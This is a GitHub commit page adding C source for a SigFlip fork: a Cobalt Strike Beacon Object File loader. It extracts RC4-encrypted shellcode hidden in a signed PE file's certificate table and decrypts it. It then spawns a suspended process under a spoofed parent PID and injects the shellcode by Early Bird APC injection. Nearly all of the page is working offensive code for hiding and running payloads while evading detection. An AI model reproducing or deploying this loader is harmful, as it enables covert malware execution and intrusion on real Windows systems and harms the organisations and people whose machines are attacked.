forked from med0x2e/SigFlip
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
meazaar
committed
Aug 8, 2021
1 parent
74a2333
commit b10a44b
Showing
28 changed files
with
3,037 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
#ifndef _BEACON_ | ||
#define _BEACON_ | ||
/* | ||
* Beacon Object Files (BOF) | ||
* ------------------------- | ||
* A Beacon Object File is a light-weight post exploitation tool that runs | ||
* with Beacon's inline-execute command. | ||
* | ||
* Cobalt Strike 4.1. | ||
*/ | ||
|
||
/* data API */ | ||
typedef struct { | ||
char * original; /* the original buffer [so we can free it] */ | ||
char * buffer; /* current pointer into our buffer */ | ||
int length; /* remaining length of data */ | ||
int size; /* total size of this buffer */ | ||
} datap; | ||
|
||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); | ||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser); | ||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser); | ||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser); | ||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); | ||
|
||
/* format API */ | ||
typedef struct { | ||
char * original; /* the original buffer [so we can free it] */ | ||
char * buffer; /* current pointer into our buffer */ | ||
int length; /* remaining length of data */ | ||
int size; /* total size of this buffer */ | ||
} formatp; | ||
|
||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); | ||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); | ||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); | ||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); | ||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); | ||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); | ||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); | ||
|
||
/* Output Functions */ | ||
#define CALLBACK_OUTPUT 0x0 | ||
#define CALLBACK_OUTPUT_OEM 0x1e | ||
#define CALLBACK_ERROR 0x0d | ||
#define CALLBACK_OUTPUT_UTF8 0x20 | ||
|
||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); | ||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); | ||
|
||
/* Token Functions */ | ||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); | ||
DECLSPEC_IMPORT void BeaconRevertToken(); | ||
DECLSPEC_IMPORT BOOL BeaconIsAdmin(); | ||
|
||
/* Spawn+Inject Functions */ | ||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); | ||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); | ||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); | ||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); | ||
|
||
/* Utility Functions */ | ||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
#ifndef _COMMON_ | ||
#define _COMMON_ | ||
#pragma once | ||
#pragma comment(lib, "dbghelp.lib") | ||
|
||
#include <windows.h> | ||
#include <stdio.h> | ||
#include <dbghelp.h> | ||
#include <time.h> | ||
#include <softpub.h> | ||
|
||
|
||
|
||
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName); | ||
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(); | ||
WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName); | ||
WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject); | ||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); | ||
WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh); | ||
WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); | ||
WINBASEAPI FILE *__cdecl MSVCRT$fopen(const char *filename, const char *mode); | ||
WINBASEAPI int __cdecl MSVCRT$fclose(FILE *stream); | ||
WINBASEAPI size_t __cdecl MSVCRT$fwrite(const void *buffer,size_t size,size_t count,FILE *stream); | ||
WINBASEAPI char* __cdecl MSVCRT$strrchr( const char *str, int c); | ||
WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount); | ||
WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); | ||
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); | ||
WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); | ||
WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size); | ||
WINBASEAPI time_t __cdecl MSVCRT$time( time_t *destTime ); | ||
DECLSPEC_IMPORT PIMAGE_NT_HEADERS IMAGEAPI DBGHELP$ImageNtHeader(PVOID Base); | ||
DECLSPEC_IMPORT size_t __cdecl MSVCRT$mbstowcs( wchar_t *wcstr, const char *mbstr, size_t count); | ||
|
||
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (void); | ||
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE); | ||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap (VOID); | ||
DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, DWORD); | ||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD); | ||
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE, DWORD); | ||
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC (PAPCFUNC, HANDLE, ULONG_PTR); | ||
DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, PVOID, DWORD, DWORD, DWORD); | ||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T); | ||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD, PSIZE_T); | ||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD_PTR, PVOID, SIZE_T, PVOID, PSIZE_T); | ||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR, LPCWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION ); | ||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, PVOID, DWORD, DWORD, PDWORD); | ||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
#include "common.h" | ||
#include "beacon.h" | ||
|
||
#define SHA1LEN 20 | ||
#define print(format, ...) BeaconPrintf(CALLBACK_OUTPUT, format, ##__VA_ARGS__) | ||
|
||
|
||
char* getFName(char* path, char* pFileName) | ||
{ | ||
|
||
MSVCRT$memcpy(pFileName, path, MSVCRT$strlen(path)); | ||
|
||
if (path == NULL) | ||
return NULL; | ||
|
||
for (char* pCur = path; *pCur != '\0'; pCur++) | ||
{ | ||
if (*pCur == '/' || *pCur == '\\') | ||
pFileName = pCur + 1; | ||
} | ||
|
||
return pFileName; | ||
} | ||
|
||
void crypt(unsigned char* data, long dataLen, char* key, long keyLen, unsigned char* result){ | ||
unsigned char T[256]; | ||
unsigned char S[256]; | ||
unsigned char tmp; | ||
int j = 0, t = 0, i = 0; | ||
|
||
|
||
for (int i = 0; i < 256; i++){ | ||
S[i] = i; | ||
T[i] = key[i % keyLen]; | ||
} | ||
|
||
for (int i = 0; i < 256; i++){ | ||
j = (j + S[i] + T[i]) % 256; | ||
tmp = S[j]; | ||
S[j] = S[i]; | ||
S[i] = tmp; | ||
} | ||
j = 0; | ||
for (int x = 0; x < dataLen; x++){ | ||
i = (i + 1) % 256; | ||
j = (j + S[i]) % 256; | ||
|
||
tmp = S[j]; | ||
S[j] = S[i]; | ||
S[i] = tmp; | ||
|
||
t = (S[i] + S[j]) % 256; | ||
|
||
result[x] = data[x] ^ S[t]; | ||
} | ||
} | ||
|
||
BOOL IsWow64(HANDLE pHandle) | ||
{ | ||
BOOL isWow64 = FALSE; | ||
|
||
typedef BOOL(WINAPI *PFNIsWow64Process) (HANDLE, PBOOL); | ||
PFNIsWow64Process _FNIsWow64Process; | ||
_FNIsWow64Process = (PFNIsWow64Process)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32"), "IsWow64Process"); | ||
|
||
if (NULL != _FNIsWow64Process){ | ||
if (!_FNIsWow64Process(pHandle, &isWow64)) {} | ||
} | ||
return isWow64; | ||
} | ||
|
||
LPWSTR toMultiByte(DWORD strLen, CHAR* _Str, LPWSTR _wStr) { | ||
DWORD wlen = strLen * 2; | ||
_wStr = (LPWSTR)MSVCRT$malloc(wlen * sizeof(wchar_t)); | ||
MSVCRT$mbstowcs(_wStr, _Str, MSVCRT$strlen(_Str) + 1); | ||
|
||
return _wStr; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,203 @@ | ||
#include "common.h" | ||
#include "beacon.h" | ||
#include "helpers.c" | ||
|
||
|
||
#define KEY_LEN 8 | ||
|
||
#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000 | ||
|
||
typedef struct _STARTUPINFOEXW { | ||
STARTUPINFOW StartupInfo; | ||
struct _PROC_THREAD_ATTRIBUTE_LIST *lpAttributeList; | ||
} STARTUPINFOEXW, *LPSTARTUPINFOEXW; | ||
|
||
void go(char* args, int length) { | ||
|
||
datap parser; | ||
char* _fPath = NULL; | ||
char* _key = NULL; | ||
int _ppid; | ||
DWORD _keySize = 0; | ||
char* _sProcess; | ||
|
||
BeaconDataParse(&parser, args, length); | ||
|
||
_fPath = BeaconDataExtract(&parser, NULL); | ||
_key = BeaconDataExtract(&parser, NULL); | ||
_sProcess = BeaconDataExtract(&parser, NULL); | ||
_ppid = BeaconDataInt(&parser); | ||
_keySize = MSVCRT$strlen(_key); | ||
|
||
|
||
DWORD _CertTableRVA = 0; | ||
SIZE_T _CertTableSize = 0; | ||
LPWIN_CERTIFICATE _wCert ; | ||
unsigned checksum = 0; | ||
FILE* _outFile = NULL; | ||
SIZE_T _writtenBytes = 0; | ||
CHAR* _encryptedData = NULL; | ||
CHAR* _rpadding = NULL; | ||
DWORD _fSize = 0; | ||
VOID* _peBlob = NULL; | ||
DWORD _bytesRead = 0; | ||
HANDLE _fHandle = INVALID_HANDLE_VALUE; | ||
HANDLE _oHandle = INVALID_HANDLE_VALUE; | ||
DWORD _extraPaddingCount = 0; | ||
CHAR* _extraPadding = NULL; | ||
DWORD _DT_SecEntry_Offset = 0; | ||
CHAR* _sha1Hash = NULL; | ||
LPWSTR _fwPath = NULL; | ||
LPWSTR _owPath = NULL; | ||
DWORD _dataOffset = 0; | ||
SIZE_T _index = 0; | ||
BYTE* _pePtr = NULL; | ||
DWORD _encryptedDataSize = 0; | ||
CHAR* _decryptedData = NULL; | ||
|
||
|
||
char* _fName = (char*)MSVCRT$malloc(MSVCRT$strlen(_fPath) + 1); | ||
_fName = getFName(_fPath, _fName); | ||
|
||
print("[*]: Loading/Parsing PE File '%s'", _fName); | ||
_fHandle = KERNEL32$CreateFileA(_fPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | ||
if (_fHandle == INVALID_HANDLE_VALUE) { | ||
print("[!]: Could not read file %s", _fName); | ||
goto _Exit; | ||
} | ||
|
||
_fSize = KERNEL32$GetFileSize(_fHandle, NULL); | ||
_peBlob = MSVCRT$malloc(_fSize); | ||
KERNEL32$ReadFile(_fHandle, _peBlob, _fSize, &_bytesRead, NULL); | ||
|
||
if (_bytesRead == 0) { | ||
print("[!]: Could not read file %s", _fName); | ||
goto _Exit; | ||
} | ||
|
||
PIMAGE_DOS_HEADER _dosHeader = (PIMAGE_DOS_HEADER)_peBlob; | ||
|
||
if (_dosHeader->e_magic != 0x5a4d) { | ||
print("'%s' is not a valid PE file", _fName); | ||
goto _Exit; | ||
} | ||
|
||
|
||
PIMAGE_NT_HEADERS _ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)_peBlob + _dosHeader->e_lfanew); | ||
IMAGE_OPTIONAL_HEADER _optHeader = (IMAGE_OPTIONAL_HEADER)_ntHeader->OptionalHeader; | ||
|
||
if (IsWow64(KERNEL32$GetCurrentProcess())) { | ||
if (_optHeader.Magic == 0x20B) { | ||
_DT_SecEntry_Offset = 2; | ||
} | ||
}else{ | ||
if (_optHeader.Magic == 0x10B) { | ||
_DT_SecEntry_Offset = -2; | ||
} | ||
} | ||
|
||
_CertTableRVA = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].VirtualAddress; | ||
_CertTableSize = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].Size; | ||
_wCert = (LPWIN_CERTIFICATE)((BYTE*)_peBlob + _CertTableRVA); | ||
|
||
|
||
print("[+]: Scanning for data/shellcode..."); | ||
_pePtr = ((BYTE*)_peBlob + _CertTableRVA); | ||
for (_index = 0; _index < _CertTableSize; _index++) { | ||
if (*(_pePtr + _index) == 0xfe && *(_pePtr + _index + 1) == 0xed && *(_pePtr + _index + 2) == 0xfa && *(_pePtr + _index + 3) == 0xce) { | ||
print("[*]:Shellcode Found at 0x%x", (_pePtr + _index)); | ||
_dataOffset = _index + 8; | ||
break; | ||
} | ||
} | ||
|
||
if (_dataOffset != _index + 8) { | ||
print("[!]: Could not locate data/shellcode"); | ||
goto _Exit; | ||
} | ||
|
||
//Decrypting shellcode | ||
print("[+]: Decrypting shellcode..."); | ||
_encryptedDataSize = _CertTableSize - _dataOffset; | ||
_decryptedData = (CHAR*)MSVCRT$malloc(_encryptedDataSize); | ||
MSVCRT$memcpy(_decryptedData, _pePtr + _dataOffset, _encryptedDataSize); | ||
crypt((unsigned char*)_decryptedData, _encryptedDataSize, _key, _keySize, (unsigned char*)_decryptedData); | ||
print("[+]: Decrypted shellcode size: %d", _encryptedDataSize); | ||
|
||
|
||
|
||
//Shellcode Injection - Early Bird | ||
|
||
LPCWSTR sProcess ; | ||
LPCWSTR sPArgs ; | ||
STARTUPINFOEXW si = { sizeof(si) }; | ||
SIZE_T attrListSize; | ||
PROCESS_INFORMATION pi ; | ||
LPVOID memAddr; | ||
LPVOID oldProtect; | ||
HANDLE hProcess, hThread; | ||
NTSTATUS status; | ||
|
||
int scLen; | ||
char* scPtr; | ||
|
||
sProcess = toMultiByte(MSVCRT$strlen(_sProcess), _sProcess, sProcess); | ||
sPArgs = L"-u -p 12432 -s 23543"; //in case you using werfault.exe as a host process. | ||
scLen = _encryptedDataSize; | ||
scPtr = _decryptedData; | ||
|
||
SIZE_T _scSize = sizeof(scPtr) * scLen; | ||
print("[+]: SpawnTo: %ls",sProcess); | ||
print("[+]: Shellcode Size: %d",scLen); | ||
|
||
print("[+]: Obtaining a handle of PID %d", _ppid); | ||
HANDLE pHandle = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, _ppid); | ||
|
||
print("[+]: Spawning sacrificial process..."); | ||
|
||
KERNEL32$InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); | ||
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, attrListSize); | ||
KERNEL32$InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrListSize); | ||
KERNEL32$UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL); | ||
si.StartupInfo.cb = sizeof(STARTUPINFOEXW); | ||
|
||
if (!KERNEL32$CreateProcessW(sProcess, NULL, NULL, NULL, FALSE, | ||
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFO)&si, &pi)){ | ||
print("[!]: CreateProcessW() Error: %d", KERNEL32$GetLastError()); | ||
goto _Exit; | ||
} | ||
|
||
KERNEL32$WaitForSingleObject(pi.hProcess, 2000); | ||
hProcess = pi.hProcess; | ||
hThread = pi.hThread; | ||
|
||
memAddr = KERNEL32$VirtualAllocEx(hProcess, NULL, _scSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
|
||
print("[+]: Writing shellcode into remote process..."); | ||
KERNEL32$WriteProcessMemory(hProcess, memAddr, scPtr, _scSize, NULL); | ||
|
||
KERNEL32$VirtualProtectEx(hProcess, memAddr, _scSize, PAGE_EXECUTE_READ, oldProtect); | ||
|
||
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)memAddr; | ||
|
||
print("[+]: Queueing a User APC and Resuming the main thread"); | ||
KERNEL32$QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL); | ||
|
||
KERNEL32$ResumeThread(hThread); | ||
|
||
BeaconCleanupProcess(&pi); | ||
|
||
|
||
print("[*]: Done."); | ||
|
||
goto _Exit; | ||
|
||
_Exit: | ||
if (_peBlob) MSVCRT$free(_peBlob); | ||
if (_decryptedData) MSVCRT$free(_decryptedData); | ||
if (_fHandle) KERNEL32$CloseHandle(_fHandle); | ||
if (sProcess) MSVCRT$free(sProcess); | ||
|
||
} | ||
|
||
|
Oops, something went wrong.